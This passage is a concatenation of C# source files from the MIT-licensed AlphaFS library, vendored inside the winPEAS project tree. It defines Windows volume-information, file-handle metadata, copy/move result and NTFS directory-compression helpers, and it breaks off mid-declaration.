winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] Static class providing utility methods for working with Microsoft Windows devices and volumes. public static partial class Volume { } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/VolumeInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// Contains information about a filesystem Volume. [Serializable] [SecurityCritical] public sealed class VolumeInfo { [NonSerialized] private readonly bool _continueOnAccessError; [NonSerialized] private readonly SafeFileHandle _volumeHandle; [NonSerialized] private NativeMethods.VOLUME_INFO_FLAGS _volumeInfoAttributes; /// Initializes a VolumeInfo instance. /// /// /// A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] [SecurityCritical] public VolumeInfo(string volumeName) { if (Utils.IsNullOrWhiteSpace(volumeName)) throw new ArgumentNullException("volumeName"); if (!volumeName.StartsWith(Path.LongPathPrefix, StringComparison.Ordinal)) volumeName = Path.IsUncPathCore(volumeName, false, false) ? Path.GetLongPathCore(volumeName, GetFullPathOptions.None) : Path.LongPathPrefix + volumeName; else { volumeName = volumeName.Length == 1 ? volumeName + Path.VolumeSeparatorChar : Path.GetPathRoot(volumeName, false); if (!volumeName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase)) volumeName = Path.GetPathRoot(volumeName, false); } if (Utils.IsNullOrWhiteSpace(volumeName)) throw new ArgumentException(Resources.InvalidDriveLetterArgument, "volumeName"); Name = Path.AddTrailingDirectorySeparator(volumeName, false); _volumeHandle = null; } /// Initializes a VolumeInfo instance. /// A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: "\\server\share". /// Refreshes the state of the object. /// true suppress any Exception that might be thrown as a result from a failure, such as unavailable resources. [SecurityCritical] public VolumeInfo(string driveName, bool refresh, bool continueOnException) : this(driveName) { _continueOnAccessError = continueOnException; if (refresh) Refresh(); } /// Initializes a VolumeInfo instance. /// An instance to a handle. [SecurityCritical] public VolumeInfo(SafeFileHandle volumeHandle) { _volumeHandle = volumeHandle; } /// Initializes a VolumeInfo instance. /// An instance to a handle. /// Refreshes the state of the object. /// true suppress any Exception that might be thrown as a result from a failure, such as unavailable resources. [SecurityCritical] public VolumeInfo(SafeFileHandle volumeHandle, bool refresh, bool continueOnException) : this(volumeHandle) { _continueOnAccessError = continueOnException; if (refresh) Refresh(); } /// Refreshes the state of the object. public void Refresh() { var volumeNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1); var fileSystemNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1); int maximumComponentLength; uint serialNumber; using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { // GetVolumeInformationXxx() // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists. uint lastError; do { var success = null != _volumeHandle && NativeMethods.IsAtLeastWindowsVista // GetVolumeInformationByHandle() / GetVolumeInformation() // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists. ? NativeMethods.GetVolumeInformationByHandle(_volumeHandle, volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity) // A trailing backslash is required. : NativeMethods.GetVolumeInformation(Path.AddTrailingDirectorySeparator(Name, false), volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity); lastError = (uint) Marshal.GetLastWin32Error(); if (!success) { switch (lastError) { case Win32Errors.ERROR_NOT_READY: if (!_continueOnAccessError) throw new DeviceNotReadyException(Name, true); break; case Win32Errors.ERROR_MORE_DATA: // With a large enough buffer this code never executes. volumeNameBuffer.Capacity = volumeNameBuffer.Capacity*2; fileSystemNameBuffer.Capacity = fileSystemNameBuffer.Capacity*2; break; default: if (!_continueOnAccessError) NativeError.ThrowException(lastError, Name); break; } } else break; } while (lastError == Win32Errors.ERROR_MORE_DATA); } FullPath = Path.GetRegularPathCore(Name, GetFullPathOptions.None, false); Name = volumeNameBuffer.ToString(); FileSystemName = fileSystemNameBuffer.ToString(); FileSystemName = !Utils.IsNullOrWhiteSpace(FileSystemName) ? FileSystemName : null; MaximumComponentLength = maximumComponentLength; SerialNumber = serialNumber; } /// Returns the full path of the volume. /// A string that represents this instance. public override string ToString() { return Guid; } /// The specified volume supports preserved case of file names when it places a name on disk. public bool CasePreservedNames { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_PRESERVED_NAMES) != 0; } } /// The specified volume supports case-sensitive file names. public bool CaseSensitiveSearch { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_SENSITIVE_SEARCH) != 0; } } /// The specified volume supports file-based compression. public bool Compression { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_FILE_COMPRESSION) != 0; } } /// The specified volume is a direct access (DAX) volume. public bool DirectAccess { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_DAX_VOLUME) != 0; } } /// Gets the name of the file system, for example, the FAT file system or the NTFS file system. /// The name of the file system. public string FileSystemName { get; private set; } /// The full path to the volume. public string FullPath { get; private set; } private string _guid; /// The volume GUID. public string Guid { get { if (Utils.IsNullOrWhiteSpace(_guid)) _guid = !Utils.IsNullOrWhiteSpace(FullPath) ? Volume.GetUniqueVolumeNameForPath(FullPath) : null; return _guid; } } /// Gets the maximum length of a file name component that the file system supports. /// The maximum length of a file name component that the file system supports. public int MaximumComponentLength { get; set; } /// Gets the label of the volume. /// The label of the volume. /// This property is the label assigned to the volume, such "MyDrive" public string Name { get; private set; } /// The specified volume supports named streams. public bool NamedStreams { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_NAMED_STREAMS) != 0; } } /// The specified volume preserves and enforces access control lists (ACL). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Acls")] public bool PersistentAcls { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_PERSISTENT_ACLS) != 0; } } /// The specified volume is read-only. public bool ReadOnlyVolume { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_READ_ONLY_VOLUME) != 0; } } /// The specified volume supports a single sequential write. public bool SequentialWriteOnce { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SEQUENTIAL_WRITE_ONCE) != 0; } } /// Gets the volume serial number that the operating system assigns when a hard disk is formatted. /// The volume serial number that the operating system assigns when a hard disk is formatted. public long SerialNumber { get; private set; } /// The specified volume supports the Encrypted File System (EFS). public bool SupportsEncryption { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_ENCRYPTION) != 0; } } /// The specified volume supports extended attributes. public bool SupportsExtendedAttributes { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_EXTENDED_ATTRIBUTES) != 0; } } /// The specified volume supports hard links. public bool SupportsHardLinks { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_HARD_LINKS) != 0; } } /// The specified volume supports object identifiers. public bool SupportsObjectIds { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OBJECT_IDS) != 0; } } /// The file system supports open by FileID. public bool SupportsOpenByFileId { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OPEN_BY_FILE_ID) != 0; } } /// The specified volume supports remote storage. (This property does not appear on MSDN) public bool SupportsRemoteStorage { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REMOTE_STORAGE) != 0; } } /// The specified volume supports re-parse points. public bool SupportsReparsePoints { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REPARSE_POINTS) != 0; } } /// The specified volume supports sparse files. public bool SupportsSparseFiles { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_SPARSE_FILES) != 0; } } /// The specified volume supports transactions. public bool SupportsTransactions { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_TRANSACTIONS) != 0; } } /// The specified volume supports update sequence number (USN) journals. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Usn")] public bool SupportsUsnJournal { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_USN_JOURNAL) != 0; } } /// The specified volume supports Unicode in file names as they appear on disk. public bool UnicodeOnDisk { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_UNICODE_ON_DISK) != 0; } } /// The specified volume is a compressed volume, for example, a DoubleSpace volume. public bool VolumeIsCompressed { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_IS_COMPRESSED) != 0; } } /// The specified volume supports disk quotas. public bool VolumeQuotas { get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_QUOTAS) != 0; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/ByHandleFileInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { /// Contains information that the GetFileInformationByHandle function retrieves. [Serializable] [SecurityCritical] public sealed class ByHandleFileInfo { internal ByHandleFileInfo(NativeMethods.BY_HANDLE_FILE_INFORMATION fibh) { CreationTimeUtc = DateTime.FromFileTimeUtc(fibh.ftCreationTime); LastAccessTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastAccessTime); LastWriteTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastWriteTime); Attributes = fibh.dwFileAttributes; FileIndex = NativeMethods.ToLong(fibh.nFileIndexHigh, fibh.nFileIndexLow); FileSize = NativeMethods.ToLong(fibh.nFileSizeHigh, fibh.nFileSizeLow); NumberOfLinks = (int) fibh.nNumberOfLinks; VolumeSerialNumber = fibh.dwVolumeSerialNumber; } /// Gets the file attributes. /// The file attributes. public FileAttributes Attributes { get; private set; } /// Gets the time this entry was created. /// The time this entry was created. public DateTime CreationTime { get { return CreationTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was created. /// The time, in coordinated universal time (UTC), this entry was created. public DateTime CreationTimeUtc { get; private set; } /// Gets the time this entry was last accessed. /// For a file, the structure specifies the last time that a file is read from or written to. /// For a directory, the structure specifies when the directory is created. /// For both files and directories, the specified date is correct, but the time of day is always set to midnight. /// If the underlying file system does not support the last access time, this member is zero (0). /// /// The time this entry was last accessed. public DateTime LastAccessTime { get { return LastAccessTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was last accessed. /// For a file, the structure specifies the last time that a file is read from or written to. /// For a directory, the structure specifies when the directory is created. /// For both files and directories, the specified date is correct, but the time of day is always set to midnight. /// If the underlying file system does not support the last access time, this member is zero (0). /// /// The time, in coordinated universal time (UTC), this entry was last accessed. public DateTime LastAccessTimeUtc { get; private set; } /// Gets the time this entry was last modified. /// For a file, the structure specifies the last time that a file is written to. /// For a directory, the structure specifies when the directory is created. /// If the underlying file system does not support the last access time, this member is zero (0). /// /// The time this entry was last modified. public DateTime LastWriteTime { get { return LastWriteTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was last modified. /// For a file, the structure specifies the last time that a file is written to. /// For a directory, the structure specifies when the directory is created. /// If the underlying file system does not support the last access time, this member is zero (0). /// /// The time, in coordinated universal time (UTC), this entry was last modified. public DateTime LastWriteTimeUtc { get; private set; } /// Gets the serial number of the volume that contains a file. /// The serial number of the volume that contains a file. public long VolumeSerialNumber { get; private set; } /// Gets the size of the file. /// The size of the file. public long FileSize { get; private set; } /// Gets the number of links to this file. For the FAT file system this member is always 1. For the NTFS file system, it can be more than 1. /// The number of links to this file. public int NumberOfLinks { get; private set; } /// /// Gets the unique identifier associated with the file. The identifier and the volume serial number uniquely identify a /// file on a single computer. To determine whether two open handles represent the same file, combine the identifier /// and the volume serial number for each file and compare them. /// /// The unique identifier of the file. public long FileIndex { get; private set; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveArguments.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { internal struct CopyMoveArguments { public int Retry; public int RetryTimeout; public KernelTransaction Transaction; public string SourcePath; public string DestinationPath; public bool CopyTimestamps; public CopyOptions? CopyOptions; public MoveOptions? MoveOptions; public CopyMoveProgressRoutine ProgressHandler; public object UserProgressData; public PathFormat PathFormat; internal DirectoryEnumerationFilters DirectoryEnumerationFilters; internal string SourcePathLp; internal string DestinationPathLp; internal bool IsCopy; /// A Move action fallback using Copy + Delete. internal bool EmulateMove; /// A file/folder will be deleted or renamed on Computer startup. internal bool DelayUntilReboot; internal bool DeleteOnStartup; internal NativeMethods.NativeCopyMoveProgressRoutine Routine; internal bool PathsChecked; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveProgressRoutine.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Callback used by CopyFileXxx and MoveFileXxx to report progress about the copy/move operation. public delegate CopyMoveProgressResult CopyMoveProgressRoutine(long totalFileSize, long totalBytesTransferred, long streamSize, long streamBytesTransferred, int streamNumber, CopyMoveProgressCallbackReason callbackReason, object userData); } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveResult.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Class for CopyMoveResult that contains the results for the Copy or Move action. /// Normally there is no need to manually instantiate and/or populate this class. [Serializable] public sealed class CopyMoveResult { #region Private Fields [NonSerialized] internal readonly Stopwatch Stopwatch; #endregion // Private Fields #region Constructors /// Initializes a CopyMoveResult instance for the Copy or Move action. /// Indicates the full path to the source file or directory. /// Indicates the full path to the destination file or directory. private CopyMoveResult(string source, string destination) { Source = source; Destination = destination; IsCopy = true; Retries = 0; Stopwatch = new Stopwatch(); } internal CopyMoveResult(CopyMoveArguments cma, bool isFolder) : this(cma.SourcePath, cma.DestinationPath) { IsEmulatedMove = cma.EmulateMove; IsCopy = cma.IsCopy; IsDirectory = isFolder; TimestampsCopied = cma.CopyTimestamps; } internal CopyMoveResult(CopyMoveArguments cma, bool isFolder, string source, string destination) : this(source, destination) { IsEmulatedMove = cma.EmulateMove; IsCopy = cma.IsCopy; IsDirectory = isFolder; TimestampsCopied = cma.CopyTimestamps; } #endregion // Constructors #region Properties /// Indicates the duration of the Copy or Move action. public TimeSpan Duration { get { return TimeSpan.FromMilliseconds(Stopwatch.Elapsed.TotalMilliseconds); } } /// Indicates the destination file or directory. public string Destination { get; private set; } /// The error code encountered during the Copy or Move action. /// 0 (zero) indicates success. public int ErrorCode { get; internal set; } /// The error message from the that was encountered during the Copy or Move action. /// A message describing the error. [SuppressMessage("Microsoft.Design", "CA1065:DoNotRaiseExceptionsInUnexpectedLocations")] public string ErrorMessage { get { return new Win32Exception(ErrorCode).Message; } } /// When true indicates that the Copy or Move action was canceled. /// true when the Copy/Move action was canceled. Otherwise false. public bool IsCanceled { get; internal set; } /// When true the action was a Copy, Move otherwise. /// true when the action was a Copy. Otherwise a Move action was performed. public bool IsCopy { get; private set; } /// Gets a value indicating whether this instance represents a directory. /// true if this instance represents a directory; otherwise, false. public bool IsDirectory { get; private set; } /// Indicates the Move action used a fallback of Copy + Delete actions. public bool IsEmulatedMove { get; private set; } /// Gets a value indicating whether this instance represents a file. /// true if this instance represents a file; otherwise, false. public bool IsFile { get { return !IsDirectory; } } /// When true the action was a Move, Copy otherwise. /// true when the action was a Move. Otherwise a Copy action was performed. public bool IsMove { get { return !IsCopy; } } /// The total number of retry attempts. public long Retries { get; internal set; } /// Indicates the source file or directory. public string Source { get; private set; } /// Indicates that the source date and timestamps have been applied to the destination file system objects. public bool TimestampsCopied { get; private set; } /// The total number of bytes copied. public long TotalBytes { get; internal set; } /// The total number of bytes copied, formatted as a unit size. public string TotalBytesUnitSize { get { return Utils.UnitSizeToText(TotalBytes); } } /// The total number of files copied. public long TotalFiles { get; internal set; } /// The total number of folders copied. public long TotalFolders { get; internal set; } #endregion // Properties } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.Compress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to compress. [SecurityCritical] public static void Compress(string path) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to compress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Compress(string path, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, pathFormat); } /// [AlphaFS] Compresses a directory using NTFS compression. /// /// /// /// /// /// /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static void Compress(string path, DirectoryEnumerationOptions options) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// /// /// /// /// /// /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Compress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, pathFormat); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to compress. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void Compress(string path, DirectoryEnumerationFilters filters) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to compress. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Compress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.CompressTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath); } /// [AlphaFS] Compresses a directory using NTFS compression. /// This will only compress the root items (non recursive). /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, pathFormat); } /// [AlphaFS] Compresses a directory using NTFS compression. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static void 